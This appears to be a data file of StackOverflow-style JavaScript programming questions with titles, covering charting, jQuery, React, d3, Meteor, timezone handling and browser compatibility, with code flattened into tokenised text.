IssueWhen I use a series of data that changes only a small amount ( around 0.0001 every tick ) , the chart is rendered as very jagged ( scissor like ) . I would like to somehow fix it to have a `` saner '' radius between each point on the graph.A Good ExampleOn the other hand , when rendering higher values ( around 1382.21 ) with bigger difference between ticks ( from 0.01 to 0.05 +/- ) the graph is rendered more smooth and aesthetically pleasing.Edit : As user Arie Shaw pointed out , the actual low or high values do n't make a difference and it remains an issue of representing small `` monotonous '' changes is a less jagged form.The CodeBoth graphs , and sample data sets are presented in the following fiddle : http : //jsfiddle.net/YKbxy/2/ var initChart = function ( data , container ) { new Highcharts.Chart ( { chart : { type : `` area '' , renderTo : container , zoomType : ' x ' } , title : { text : `` } , xAxis : { labels : { enabled : false } } , yAxis : { title : { text : `` } } , legend : { enabled : false } , color : ' # A3D8FF ' , plotOptions : { area : { fillColor : ' # C6E5F4 ' , lineWidth : 1 , marker : { enabled : false } , shadow : false , states : { hover : { lineWidth : 1 } } , threshold : null } } , exporting : { enabled : false } , series : [ { name : `` TEST '' , data : data } ] } ) ; } ;",Long array of small data points is rendered as a jagged line "JS : Let 's say I have a list that looks like this : I need to do something like this : How could I go about this ? Note that the IDs and classes used in the list are 100 % contrived . In the real code upon which I 'm basing this , I have a collection of li elements that are a subset of the lis contained in a single ul . This subset was determined by their contents , which are not important to the question at hand , not by class . They only share a class in the example for ease of getting my point across . < ul > < li id= '' q '' > < /li > < li id= '' w '' > < /li > < li id= '' e '' > < /li > < li id= '' r '' > < /li > < li id= '' t '' > < /li > < li id= '' y '' > < /li > < li id= '' u '' > < /li > < li id= '' i '' > < /li > < li id= '' o '' > < /li > < /ul > function get_important_elements ( ) { // completely contrived ; // elements are guaranteed to be contained within same ul // but nothing else unique in common ( class , attrs , etc ) return $ ( ' # q , # w , # r , # u , # i , # o ' ) ; } function group_adjacent ( $ elems ) { return $ elems ; // : ( } $ ( function ( ) { var $ filtered_list = get_important_elements ( ) ; var groups = group_adjacent ( $ filtered_list ) ; // groups should be // ( shown by ID here , should contained actual elements contained // within jQuery objects ) : // [ $ ( [ q , w ] ) , $ ( [ r ] ) , $ ( [ u , i , o ] ) ] } ) ;",How can I group a collection of elements by their adjacency ? "JS : I created this short snippet to test whether it 's possible to trigger default handler in javascript event.I expected that target input would receive event and process it as normal , thus moving caret to the correct position ( like it does normally on mousedown ) . But nothing happens.My question : Am I doing something wrong with dispatchEvent or do browsers ignore default handlers when processing synthetic events ? Is there any material/proof to that ? Thanks . < ! DOCTYPE html > < html lang= '' en '' > < head > < meta charset= '' UTF-8 '' > < title > < /title > < script > < /script > document.addEventListener ( 'mousedown ' , function ( e ) { console.log ( 'mousedown ' , e ) ; if ( e.target === document.getElementById ( 'target ' ) ) { if ( ! e.__redispatched ) { e.preventDefault ( ) ; e.stopPropagation ( ) ; e.stopImmediatePropagation ( ) ; var ne = new MouseEvent ( 'mousedown ' , e ) ; ne.__redispatched = true ; setTimeout ( function ( ) { e.target.focus ( ) ; e.target.dispatchEvent ( ne ) ; } , 1000 ) ; } } } , true ) ; < /head > < body > < input type= '' text '' id= '' target '' / > < input type= '' text '' / > < /body > < /html >",Does dispatchEvent trigger ` default ` handler ? "JS : Hello I 'm trying to implement voting system like stack overflow , I 've finished the backend//whole functionality but I 'm having problem displaying them in UI . right now , the arrows look too far apart and the number is n't quite centered . Also if it 's possible I want the color of the arrow to be toggled when clicked/unclicked . I 've tried this , but keep getting messed up UI . Can someone please help me with this ? thank you in advance . Also I have one js file for this votingthank you . < td class= '' vert-align '' > < div > < a href= '' /post/ { { post.slug } } /vote ? is_up=1 '' class= '' vote '' > < span class= '' glyphicon glyphicon-triangle-top '' style= '' '' aria-hidden= '' true '' > < /span > < /a > < br / > //upper arrow < span class= '' number '' > < h4 id= '' vote_count_ { { post.slug } } '' > { { post.get_vote_count } } < /h4 > < /span > < br > //number gets displayed here < a href= '' /post/ { { post.slug } } /vote ? is_up=0 '' class= '' vote '' > < span class= '' glyphicon glyphicon-triangle-bottom '' aria-hidden= '' true '' > < /span > < /a > < /div > //under arrow < /td > function vote ( node ) { var thread_id = node.attr ( `` href '' ) .split ( '\/ ' ) [ 2 ] ; $ .ajax ( { url : node.attr ( `` href '' ) , dataType : `` json '' , success : function ( data ) { $ ( `` # vote_count_ '' +thread_id ) .html ( data.count ) ; } , error : function ( data ) { alert ( data.responseJSON.error_message ) ; } } ) ; } $ ( `` a.vote '' ) .on ( `` click '' , function ( ) { vote ( $ ( this ) ) ; return false ; } ) ;","voting arrows like stack overflow with bootstrap , how do I reduce the size of glyph-icon items and bring them tighter" "JS : Essentially , I have a custom HTML chart that needs a value from an external secure proxy server . Right now , I am inserting HTML blocks into the relevant areas on the page that include JavaScript to get the correct data through an XHTTP GET request . It works wonderfully until we restrict access to our proxy server to be limited to our SSL from our C5 site ( which is also what we want ) . This prevents the chart from getting the correct value because the HTML and the JavaScript get executed on the client side and not through C5 . Essentially , what I need to do ( I think ) is to move the GET request inside of C5 so that it can pass through with the SSL certificate . I then need to take that value and plug it back into the chart . Below is some pseudo-code based on the HTML code that I 'm currently dropping into the page . < ! -- This is the actual HTML block that I 'm creating . -- > < div id= '' HTMLBlock455 '' class= '' HTMLBlock '' > < div class= '' someCustomChart '' > < ! -- Here 's the script currently running that gets the necessary data and calls the proper functions to populate the chart . -- > < script type= '' text/javascript '' > // Global Var to store updating value var amount = 0 ; // Open a new HTTP Request ) var xhr = new XMLHttpRequest ( ) ; xhr.open ( `` GET '' , `` Some_ElasticSearch Server '' , true ) ; xhr.onreadystatechange = function ( ) { if ( xhr.readyState === 4 ) { if ( xhr.status === 200 ) { var person = JSON.parse ( xhr.responseText ) ; amount = person._source.age ; // Grabs the person age $ ( ' # chart_328 ' ) .data ( 'updateto ' , amount ) ; //updates the above HTML data value document.getElementById ( 'chart_328_text ' ) .innerHTML = amount + ' % ' ; } else { console.error ( xhr.statusText ) ; } } } ; xhr.onerror = function ( e ) { console.error ( xhr.statusText ) ; } ; xhr.send ( null ) ; // This function executes on page load and prepares the chart ! $ ( document ) .ready ( function ( ) { ... . }",Secure Javascript GET Request "JS : I 'm trying to draw a dygraph plot ( barplot thanks to the answer to Create a barplot in R using dygraphs package ) with two horizontal lines , but not ranging the whole OX axis.What I have now is : And what I would like to have is : The only think I know how to get is ( but that is not what I want ) : Does anybody know is it possible to obtain my goal ? I 'd be greatfull for any help ! My code to reproduce the plot : library ( `` dplyr '' ) library ( `` data.table '' ) library ( `` dygraphs '' ) library ( `` htmlwidgets '' ) # data : graph_data < - structure ( c ( 0 , 584.5 , 528.5 , 601.3 , 336.8 , 0 ) , .Dim = c ( 6L , 1L ) , index = structure ( c ( 1448928000 , 1451606400 , 1454284800 , 1456790400 , 1459468800 , 1462060800 ) , tzone = `` UTC '' , tclass = c ( `` POSIXct '' , `` POSIXt '' ) ) , .indexCLASS = c ( `` POSIXct '' , `` POSIXt '' ) , tclass = c ( `` POSIXct '' , `` POSIXt '' ) , .indexTZ = `` UTC '' , tzone = `` UTC '' , .Dimnames = list ( NULL , `` ile '' ) , class = c ( `` xts '' , `` zoo '' ) ) # > graph_data # ile # 2015-12-01 0.0 # 2016-01-01 584.5 # 2016-02-01 528.5 # 2016-03-01 601.3 # 2016-04-01 336.8 # 2016-05-01 0.0getMonth < - 'function ( d ) { var monthNames = [ `` Jan '' , `` Feb '' , `` Mar '' , `` Apr '' , `` May '' , `` Jun '' , '' Jul '' , `` Aug '' , `` Sep '' , `` Oct '' , `` Nov '' , `` Dec '' ] ; return monthNames [ d.getMonth ( ) ] ; } 'getMonthDay < - 'function ( d ) { var monthNames = [ `` Sty '' , `` Luty '' , `` Mar '' , `` Kwi '' , `` Maj '' , `` Cze '' , '' Lip '' , `` Sie '' , `` Wrz '' , `` Paź '' , `` Lis '' , `` Gru '' ] ; date = new Date ( d ) ; return monthNames [ date.getMonth ( ) ] + \ '' \ '' +date.getFullYear ( ) ; } ' # set limit : limit < - 600 # drow a plot : dygraph ( graph_data ) % > % dyOptions ( useDataTimezone = TRUE , plotter = `` function barChartPlotter ( e ) { var ctx = e.drawingContext ; var points = e.points ; var y_bottom = e.dygraph.toDomYCoord ( 0 ) ; // see http : //dygraphs.com/jsdoc/symbols/Dygraph.html # toDomYCoord // This should really be based on the minimum gap var bar_width = 2/3 * ( points [ 1 ] .canvasx - points [ 0 ] .canvasx ) ; ctx.fillStyle = \ '' blue\ '' ; // Do the actual plotting . for ( var i = 0 ; i < points.length ; i++ ) { var p = points [ i ] ; var center_x = p.canvasx ; // center of the bar ctx.fillRect ( center_x - bar_width / 2 , p.canvasy , bar_width , y_bottom - p.canvasy ) ; ctx.strokeRect ( center_x - bar_width / 2 , p.canvasy , bar_width , y_bottom - p.canvasy ) ; } } '' ) % > % dyLimit ( limit , color = `` red '' ) % > % dyRangeSelector ( ) % > % dyAxis ( `` y '' , valueRange = c ( 0 , limit ) , label = `` ile '' ) % > % dyAxis ( `` x '' , axisLabelFormatter = JS ( getMonthDay ) , valueFormatter=JS ( getMonthDay ) )",dyLimit for limited time in Dygraphs "JS : I 'm getting started with Rollup and D3 version 4 , which is written in ES2015 modules . I 've written a some code using the traditional D3 namespace `` d3 '' . Now I want to create a custom bundle using Rollup . I want to using tree-shaking , because I 'm probably only using about half the functions in d3 , and I want to keep things as light as possible.I 'm clear that I can import functions selectively , e.g . : That is going to get very verbose very fast , because half of d3 is a lot of functions . I can live with that . The bigger problem is that it also would require completely rewriting all my function identifiers without a namespace . I do n't much care for that , because I prefer to namespace library code.I understand that I can import all of the module : which preserves the d3 object namespace , which is good for my code organization . But then Rollup ca n't tree-shake the unused functions out of the bundle.What I 'm dreaming of is something like : but that sort of feature/syntax does n't seem to exist in the spec . How can I both selectively target individual parts of a module , and preserve namespacing during an import ? import { scaleLinear } from `` d3-scale '' ; import { event , select , selectAll } from `` d3-selection '' ; import * as d3 from `` d3 '' ; import { event , select , selectAll } as d3 from `` d3-selection '' ;","How to import ES2015 modules functions selectively , but with namespacing ?" "JS : here is the JSON data for my auto complete and the code which i wrote is i am using jquery-ui-1.8.14.autocomplete.min.js plugin for auto completethe problem i am getting is it is not showing all the matched results in new browsers.for example if i type `` an '' in which should matches to the `` anzahl '' keyword , the fire bug is showing error like `` bad control character literal in a string '' . results are showing for the letters `` as , sa ... . '' . any help would be appriciatedthank you { `` list '' : [ { `` genericIndicatorId '' : 100 , `` isActive '' : false , `` maxValue '' : null , `` minValue '' : null , `` modificationDate '' : 1283904000000 , `` monotone '' : 1 , `` name '' : '' Abbau '' , `` old_name '' : `` abbau_change_delete_imac '' , `` position '' : 2 , `` systemGraphics '' : `` 000000 '' , `` unitId '' : 1 , `` valueType '' : 1 , `` description '' : `` Abbau '' , `` weight '' : 1 } ] } $ ( `` # < portlet : namespace / > giName '' ) .autocomplete ( { source : ` enter code here ` function ( request , response ) { $ .post ( `` < % =AJAXgetGIs % > '' , { `` < % =Constants.INDICATOR_NAME % > '' : request.term , `` < % =Constants.SERVICE_ID % > '' : < % =serviceId % > } , function ( data ) { response ( $ .map ( data.list , function ( item ) { //alert ( item.name + `` || `` + item.genericIndicatorId ) ; item.value = item.name ; return item ; } ) ) ; } , `` json '' ) ; } , minLength : 2",jquery Autocomplete working with older versions of the browsers but not new ones ? "JS : I created zooming/panning graph with d3 using SVG . I 'm trying to create the same exact graph with Canvas . My issue is , when it comes to the zooming and panning of the Canvas graph , the graph is disappearing and I can not figure out why . I created two JSBin 's to show the code of both . Can someone assist me.SVG - JSBinCanvas - JSBinMy SVG zoom code looks like this : My Canvas zoom code looks like this : // Zoom Componentszoom = d3.zoom ( ) .scaleExtent ( [ 1 , dayDiff*12 ] ) .translateExtent ( [ [ 0 , 0 ] , [ width , height ] ] ) .extent ( [ [ 0 , 0 ] , [ width , height ] ] ) .on ( `` zoom '' , zoomed ) ; function zoomed ( ) { t = d3.event.transform ; xScale.domain ( t.rescaleX ( x2 ) .domain ( ) ) ; xAxis = d3.axisBottom ( xScale ) .tickSize ( 0 ) .tickFormat ( d3.timeFormat ( ' % b ' ) ) ; focus.select ( `` .axis -- x '' ) .call ( xAxis ) ; //xAxis changes usageLinePath.attr ( 'd ' , line ) ; //line path reference , regenerate } // Zoom Componentszoom = d3.zoom ( ) .scaleExtent ( [ 1 , dayDiff*12 ] ) .translateExtent ( [ [ 0 , 0 ] , [ width , height ] ] ) .extent ( [ [ 0 , 0 ] , [ width , height ] ] ) .on ( `` zoom '' , zoomed ) ; function zoomed ( ) { t = d3.event.transform ; x.domain ( t.rescaleX ( x2 ) .domain ( ) ) ; context.save ( ) ; context.clearRect ( 0 , 0 , width , height ) ; draw ( ) ; context.restore ( ) ; } function draw ( ) { xAxis ( ) ; yAxis ( ) ; context.beginPath ( ) ; line ( data ) ; context.lineWidth = 1.5 ; context.strokeStyle = `` steelblue '' ; context.stroke ( ) ; }",D3 : Zooming/Panning Line Graph in SVG is not working in Canvas "JS : I went to render a component using Ternary expression . Currently I a doing something like this But this is n't working and Throwing an error saying Invariant Violation ExceptionsManager.js:84 Unhandled JS Exception : Invariant Violation : Invariant Violation : Text strings must be rendered within a component . [ Question : ] How Can I fix it and render an entire component inside Ternary expressionPs : According to this stackoverflow question : This happens when we do inline conditional rendering . < View style= { container } > { this.state.loaded ? ( < VictoryChart theme= { VictoryTheme.material } > < VictoryArea style= { { data : { fill : `` # c43a31 '' } } } data= { this.coinHistoryData } x= '' cHT '' y= '' cHTVU '' domain= { { y : [ 0 , 30000 ] } } / > < /VictoryChart > ) : ( < Text > Loading.. < /Text > ) } < /View >",Rendering a component with ternary expression "JS : I have a string that I 'm converting : '' replace-me-correctly '' = > `` Replace me correctly '' my code using Ramda.js : What I 'd like to know is if there is a cleaner more efficient way to combine replaceTail with upperHead so I only traverse the string once ? JSBin example const _ = R ; //converting Ramda.js to use _const replaceTail = _.compose ( _.replace ( /-/g , ' ' ) , _.tail ) ; const upperHead = _.compose ( _.toUpper , _.head ) ; const replaceMe = ( str ) = > _.concat ( upperHead ( str ) , replaceTail ( str ) ) ; replaceMe ( `` replace-me-correctly '' ) ; // `` Replace me correctly ''",How to merge 2 compositions with Ramda.js "JS : I am attempting to run a Meteor project on an Android device and/or emulator . When I run either meteor run -- verbose android or meteor run -- verbose android-device , I get errors related to Cordova not being able to find certain gradle files . Here 's some output from my console : Indeed , the files and directories it is trying to access are not there . $ ANDROID_HOME/tools/template/gradle/wrapper does not have a directory gradlewLikewise , there are no files at all in my ~/simple-todos/.meteor/local/cordova-build/platforms/android/gradle/wrapper directory , so there is no gradle-wrapper.properties.I 'm also quite uncertain about the meaning of the spawn ENOENT error.How can I fix this ? EDIT : I wanted to test that gradle worked at all on my machine , so I made an app in Android Studio and ran it on my phone -- worked fine . My Meteor project still does n't run on Android , but I think this tells me that gradle is working ( somewhere ) on my computer.EDIT : I searched for a gradlew directory on my computer and the only ones I found were in an android-studio , not in my $ ANDROID_HOME ( ~\Android/Sdk ) . Not sure what to do with this info , but it seems relevant.EDIT It occurred to me that the output of gradle -v might be useful : sarah @ sarah-ThinkPad-X220 : ~/simple-todos $ meteor run -- verbose androidGetting installed version for platform android in Cordova projectChecking Cordova requirements for platform Android [ [ [ [ [ ~/simple-todos ] ] ] ] ] = > Started proxy . = > Started MongoDB . Local package version is up-to-date : autopublish @ 1.0.4 < ... removed some other `` Local package '' messages here ... > Preparing Cordova project from app bundle Copying resources for mobile apps Writing new config.xml Preparing Cordova project for platform AndroidRunning Cordova app for platform Android with options -- emulatorANDROID_HOME=/home/sarah/Android/Sdk/ |JAVA_HOME=/usr/lib/jvm/default-java= > Started your app . = > App running at : http : //localhost:3000/ WARNING : no emulator specified , defaulting to nexus4Waiting for emulator ... oid Emulator |emulator : UpdateChecker : skipped version checkBOOT COMPLETEpp on Android Emulator - cp : no such file or directory : /home/sarah/Android/Sdk/tools/templates/gradle/wrapper/gradlewchmod : File not found : /home/sarah/simple-todos/.meteor/local/cordova-build/platforms/android/gradle/wrapper/gradle-wrapper.propertiessed : no such file or directory : /home/sarah/simple-todos/.meteor/local/cordova-build/platforms/android/gradle/wrapper/gradle-wrapper.propertiesRunning : /home/sarah/simple-todos/.meteor/local/cordova-build/platforms/android/gradlew cdvBuildDebug -b /home/sarah/simple-todos/.meteor/local/cordova-build/platforms/android/build.gradle -PcdvBuildArch=x86 -Dorg.gradle.daemon=trueevents.js:72app on Android Emulator \ throw er ; // Unhandled 'error ' event ^Error : spawn ENOENT at errnoException ( child_process.js:1011:11 ) at Process.ChildProcess._handle.onexit ( child_process.js:802:34 ) = > Errors executing Cordova commands : While running Cordova app for platform Android with options -- emulator : Error : Command failed : /home/sarah/simple-todos/.meteor/local/cordova-build/platforms/android/cordova/run -- emulator at ChildProcess.exitCallback ( /tools/utils/processes.js:137:23 ) at ChildProcess.emit ( events.js:98:17 ) at Process.ChildProcess._handle.onexit ( child_process.js:820:12 ) ExitWithCode:1 sarah @ sarah-ThinkPad-X220 : ~/Android/Sdk/tools/templates/gradle/wrapper $ lsgradle $ gradle -v -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Gradle 2.5 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- Build time : 2015-08-31 14:26:53 UTCBuild number : noneRevision : UNKNOWNGroovy : 2.4.3Ant : Apache Ant ( TM ) version 1.9.6 compiled on July 8 2015JVM : 1.7.0_95 ( Oracle Corporation 24.95-b01 ) OS : Linux 4.2.0-23-generic amd64",meteor run android- spawn ENOENT and gradle errors from Cordova "JS : Im ' having problems with JQuery and Internet Explore ( IE ) . My method for adding rows does n't seem to be working in IE ( Chrome & Firefox pose no problem ) Imagine following tableTo Add rows ( when the user clicks a 'button ' ) i perform the following methodQuestion : How can i alter my method so it works in IE too ? ( e. g. the row is being added ) ? Note : i 'm using the following JQuery - library < table border= '' 1 '' > < tr > < td > < button class= '' btn '' > btn1a < /button > < /td > < td > < button class= '' btn '' > btn1b < /button > < /td > < td > zever < /td > < td > zeverin pakskes < /td > < /tr > < tr > < td > < button class= '' btn '' > btn2a < /button > < /td > < td > < button class= '' btn '' > btn2b < /button > < /td > < td > zever < /td > < td > zeverin pakskes < /td > < /tr > < /table > $ ( document ) .ready ( function ( ) { $ ( '.btn ' ) .on ( 'click ' , function ( ) { var parentrow = $ ( this ) .parent ( ) .parent ( ) ; parentrow.after ( ' < tr > < td colspan= '' 4 '' > Dit is een colspan rij < /td > < /tr > ' ) ; } ) ; } ) ; < script src= '' https : //code.jquery.com/jquery.js '' > < /script >",Jquery - Add new row to table ( IE friendly version ) "JS : I 'm having a big problem to show the Google 's directions map in Internet Explorer 9 and 10 ( the version 11 works fine ) .The HTML is : The JS : The Css : I tried to insert the Height : 100 % in all the parents of the map 's container but it does not work.You can see a live working example at http : //lp-qa.izigo.pt in the first dropdown choose `` Pneus '' in the `` Onde ? '' ( means where ? ) put `` Lisboa '' and choose the first option and after the search , click on a marker and choose `` Obter Direções '' ( get directions ) .The map on the left side will not show up in IE9 and IE10.Here 's what happens : I have changed the height from 100 % to a fixed one : < div id= '' dtl-directions-ctn '' class= '' directions-ctn '' > < table style= '' width : 100 % ; height : 100 % ; '' > < tr class= '' header-ctn '' > < td > < table style= '' width : 100 % ; '' > < tr > < td class= '' title '' > Direções para : < /td > < td id= '' dtl-directions-partner-name '' class= '' name lp-clr-orange '' > < /td > < td id= '' dtl-directions-close-btn '' class= '' close-ctn lp-clr-orange '' > X < /td > < /tr > < /table > < /td > < /tr > < tr > < td > < table style= '' width : 100 % ; height : 100 % ; '' > < tr style= '' height : 100 % '' > < td id= '' dtl-directions-map-canvas '' class= '' dtl-map-ctn '' > < /td > < td id= '' dtl-directions-panel '' class= '' directions-panel '' > < /td > < /tr > < /table > < /td > < /tr > < /table > < /div > var _locationLatitude = $ ( `` # sch-location-latitude-fld '' ) .val ( ) ; var _locationLongitude = $ ( `` # sch-location-longitude-fld '' ) .val ( ) ; var _partnerLatitude = $ ( `` # dtl-partner-latitude-fld '' ) .val ( ) ; var _partnerLongitude = $ ( `` # dtl-partner-longitude-fld '' ) .val ( ) ; var _directionsService = new google.maps.DirectionsService ( ) ; var _directionsDisplay = new google.maps.DirectionsRenderer ( ) ; var _map = new google.maps.Map ( document.getElementById ( 'dtl-directions-map-canvas ' ) ) ; _directionsDisplay.setMap ( _map ) ; _directionsDisplay.setPanel ( document.getElementById ( 'dtl-directions-panel ' ) ) ; var start = new google.maps.LatLng ( _locationLatitude , _locationLongitude ) ; var end = new google.maps.LatLng ( _partnerLatitude , _partnerLongitude ) ; var request = { origin : start , destination : end , travelMode : google.maps.TravelMode.DRIVING , provideRouteAlternatives : true } ; _directionsService.route ( request , function ( response , status ) { if ( status == google.maps.DirectionsStatus.OK ) { _directionsDisplay.setDirections ( response ) ; } } ) ; } ; /* Directions */.directions-ctn { display : none ; width : 100 % ; height : 100 % ; background-color : # fff ; position : absolute ; margin : auto ; top : 0 ; left : 0 ; bottom : 0 ; right : 0 ; z-index : 3 ; /*overflow : hidden ; */ max-width : 1024px ; max-height : 768px ; box-shadow : 0 0 17px rgba ( 96,96,96,0.3 ) ; } .directions-ctn .header-ctn { height : 5 % ; } .directions-ctn .header-ctn .title { float : left ; padding : 10px ; } .directions-ctn .header-ctn .name { float : left ; padding-top : 10px ; } .directions-ctn .header-ctn .close-ctn { width : 6 % ; float : right ; text-align : center ; font-weight : bold ; font-size : 1.3em ; padding : 10px ; cursor : pointer ; } .directions-ctn .directions-panel { width : 50 % ; height : 100 % ; display : inline-block ; vertical-align : top ; overflow-y : auto ; padding-left : 7px ; } .directions-ctn .directions-panel .adp-placemark { margin : 0 ; } .directions-ctn .directions-panel .adp-placemark td { padding : 4px ; vertical-align : middle ; } .directions-ctn .directions-panel .adp-summary { padding : 5px 3px 5px 5px ; } .directions-ctn .directions-panel .adp-legal { padding : 5px 0 5px 5px ; } .directions-ctn .dtl-map-ctn { width : 50 % ; height : 100 % ; display : inline-block ; vertical-align : top ; margin-right : -4px ; } .directions-ctn .directions-panel img , .directions-ctn .dtl-map-ctn img { max-width : none ; /* we need to overide the img { max-width : 100 % ; } to display the controls correctly */ } .directions-ctn .dtl-map-ctn { width : 50 % ; /*height : 100 % ; */ height : 748px ; display : inline-block ; vertical-align : top ; margin-right : -4px ; }",Google directions not showing the map in Internet Explorer 9 and 10 "JS : Is it possible to pass a function to the tooltip key in the Zingchart Json ? I tried the following so far : } But the function gets the string `` % kt '' as it is and not the wanted X-Value of the hovered Plot . So how is it possible to pass the X-Value in the Function ? $ scope.applyTooltip = function ( timestamp ) { console.log ( timestamp ) ; var tooltip = `` < div > '' ; var data = { timestamp1 : { param1 : `` bla '' , param2 : `` foo , } , ... } for ( var param in data ) { console.log ( param ) ; tooltip += param+ '' : `` +data [ param ] + '' < br > '' ; } tooltop += `` < /div > ; return tooltip ; } $ scope.graphoptions = { // ... //just displaying the relevant options plot : { `` html-mode '' : true , tooltip : $ scope.applyTooltip ( `` % kt '' ) , } }",Zingchart - passing a function to the tooltip "JS : I have the following function which I 've written to convert msSinceEpoch to the New Zealand Date ( IE11 Compatible ) ... However , this contains a magic number which is not relative to New Zealand 's daylight savings time ( +12 or +13 ) .So here it gets complicated , how do I get the right number relative to daylight savings in New Zealand ( +12 or +13 ) .My initial attempt was just to calculate whether it was in between the last Sunday of September or first Sunday of April but then I realised that the second I use a new Date ( ) constructor anywhere in the code it 's going to create a date relative to their system time and break the math.TL ; DR Convert UTC Milliseconds since epoch to New Zealand Time that works with New Zealand 's Daylight savings settings.EDIT : Also not interested in using Moment or any other library to solve this problem due to bundle size costs . const MAGICNUMBER = 13 ; const toNewZealand = ( msSinceEpoch ) = > { const [ day , month , year , time ] = new Date ( msSinceEpoch ) .toLocaleString ( `` en-NZ '' , { hour12 : false , timeZone : `` UTC '' } ) .split ( / [ / , ] / ) ; // timeZone UTC is the only format support on IE11 const [ hours , minutes , seconds ] = time.trim ( ) .split ( `` : '' ) ; return new Date ( ~~year , ~~month - 1 , ~~day , ~~hours + MAGICNUMBER , ~~minutes , ~~seconds ) } ; // usage ... .console.log ( toNewZealand ( new Date ( ) .getTime ( ) ) )",Easiest way to convert UTC to New Zealand date ( account for daylight savings ) ? "JS : I have set up an openid logging in system for mysite and the famous disqus commenting system . How can I integrate these both , i.e . retrieve the logged in user information in the disqus commenting system preventing the users to enter their details twice on the same site else whats use of simplifying the logging in task . Is there any api for disqus so that I can autofill the user info automatically ? Something like this is the django_template : There is one simmilar post for this : Disqus and retrieving logged in user but looking at the response I decided to start a new question for my problem . { % if requet.user.is_active % } < ! -- Check if any user is logged in and if someone is then add this in the html output : -- > var disqus_email = { { user.email } } ; var disqus_name = { { user.username } } ; < ! -- Or as in my case if active user have an openid -- > var disqus_openid = { { user.openid } } ; { % endif % }",Import logged in user disqus comments "JS : I want to know how websites like http : //photofunia.com/ and other online photo effects sites are built . For example , using php , i want merge two images frame.png with profile.jpg . I want my frame.png transparent in the center where I would place my profile.jpg.I have tried this , but it does n't work : Thanks in advance . Please help me . < ? php $ dest = imagecreatefromjpeg ( 'dest.jpg ' ) ; $ src = imagecreatefrompng ( 'logo.png ' ) ; $ src = imagerotate ( $ src , 90 , imageColorAllocateAlpha ( $ src , 0 , 0 , 0 , 127 ) ) ; $ almostblack = imagecolorallocate ( $ src,254,254,254 ) ; $ src = imagecolortransparent ( $ src , $ almostblack ) ; imagealphablending ( $ dest , true ) ; imagesavealpha ( $ dest , 0 ) ; imagecopymerge ( $ dest , $ src , 900,600 , 1 , 1 , 90,90 , 90 ) ;",Photoeffects site based on php "JS : I 've been reading up on global namespace pollution when developing an extension for Firefox , and I want to avoid it as much as possible in my extension . There are several solutions , but generally , the solutions seem to center around only declaring one global variable for your extension , and putting everything in that . Thus you only add one extra variable to the global namespace , which is n't too bad.As a brief aside , I have had a solution proposed to me that avoids putting any extra variables into the global namespace ; wrap everything in a function . The problem here is that there 's nothing to refer to in your XUL overlays . You have to declare elements in your overlays , and then in JS add a ton of addEventListeners to replace what would 've been something like an oncommand= '' ... '' in XUL . I do n't want to do this ; I definitely want my XUL to include events in the XUL itself because I think it looks cleaner , so this is n't a solution for me . I therefore need at least 1 global variable for XUL oncommand= '' ... '' attributes to refer to.So the consensus seems to be to have one ( and only one ) variable for your extension , and put all your code inside that . Here 's the problem : generally , people recommend that that variable be named a nice long , unique name so as to have almost zero chance of colliding with other variables . So if my extension 's ID is myextension @ mycompany.com , I could name my variable myextensionAtMycompanyDotCom , or com.mycompany.myextension . This is good for avoiding collisions in the global namespace , but there 's one problem ; that variable name is long and unwieldy . My XUL is going to be littered with references to event handlers along the lines of oncommand= '' myextensionAtMycompanyDotCom.doSomeEvent '' . There 's no way to avoid having to refer to the global namespace in my XUL overlays , because an overlay just gets added to the browser window 's DOM ; it does n't have a namespace of its own , so we ca n't somehow limit our extension 's variable scope only to our own overlays . So , as I see it , there are four solutions:1 . Just use the long variable name in XULThis results in rather unwieldy , verbose XUL code like:2 . Add an element of randomness to a short variable nameWe come up with a much nicer short variable name for our extension , let 's say myExt , and add some random characters on to make it almost certainly unique , such as myExtAX8T9 . Then in the XUL , we have : Clearly , this results in rather ugly and even confusing code as the random characters look odd , and make it look like some kind of temporary variable.3 . Do n't declare any global variables at allYou could just wrap up everything in functions . This , of course , means that there is nothing to refer to in your XUL , and so every event must be attached to the XUL elements using addEventListener in your JavaScript code . I do n't like this solution because , as mentioned above , I think it 's cleaner to have the events referenced in the XUL code rather than having to search a ton of JS code to find which events are attached to which XUL elements.4 . Just use a short variable name in XULI could just call my extension 's variable myExt , and then I get nice XUL code like : Of course , this short name is much more likely to clash with something else in the global namespace and so is n't ideal.So , have I missed something ? Is there any alternative to the 4 solutions I proposed above ? If not , what would be the best of the 4 ( given that # 3 is basically unacceptable to me ) , and why ? < statusbarpanel id= '' myStatusBar '' onmousedown= '' myextensionAtMycompanyDotCom.onMyStatusBarClick ( ) ; '' > < statusbarpanel id= '' myStatusBar '' onmousedown= '' myExtAX8T9.onMyStatusBarClick ( ) ; '' > < statusbarpanel id= '' myStatusBar '' onmousedown= '' myExt.onMyStatusBarClick ( ) ; '' >",How best for a Firefox extension to avoid polluting the global namespace ? "JS : I got this function working to get some gym classes from a .json file.it 's ok , just passing it some `` day and hour '' will return right classes . But then I ca n't find a way to loop over this function ... and only be able to do this ****Over and over again ... 17 times..I 'm sure you can point me on the right way with a `` for '' or `` forEach '' , or hope so ! I tried this : I tried a for loop but only returns 1 item , so I 'm doing something wrong for sure . Thanks in advance . filtrarClase ( dia , hora ) { let data = this.state.data return data.filter ( clase = > { if ( ( clase.dia === dia ) & & ( clase.horaclase === hora ) ) { return clase.actividad } else { return false } } ) .map ( ( clase , i ) = > { return ( < li key= { i } className= { clase.estilo } > { clase.actividad } < p className= '' duracion '' > { clase.duracion } < /p > < p className= '' sala '' > { clase.hoy } { clase.sala } < /p > < /li > ) } ) } < div className= '' horario-container '' > < ul className= '' horario-hora '' > { horas [ 0 ] } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 1 , horas [ 0 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 2 , horas [ 0 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 3 , horas [ 0 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 4 , horas [ 0 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 5 , horas [ 0 ] ) } < /ul > < ul className= '' horario-item '' > { this.filtrarClase ( 6 , horas [ 0 ] ) } < /ul > < /div > < div className= '' horario-container '' > < ul className= '' horario-hora '' > { horas [ 1 ] } < /ul > < ul className= '' horario-item '' > { this.filtrarClase 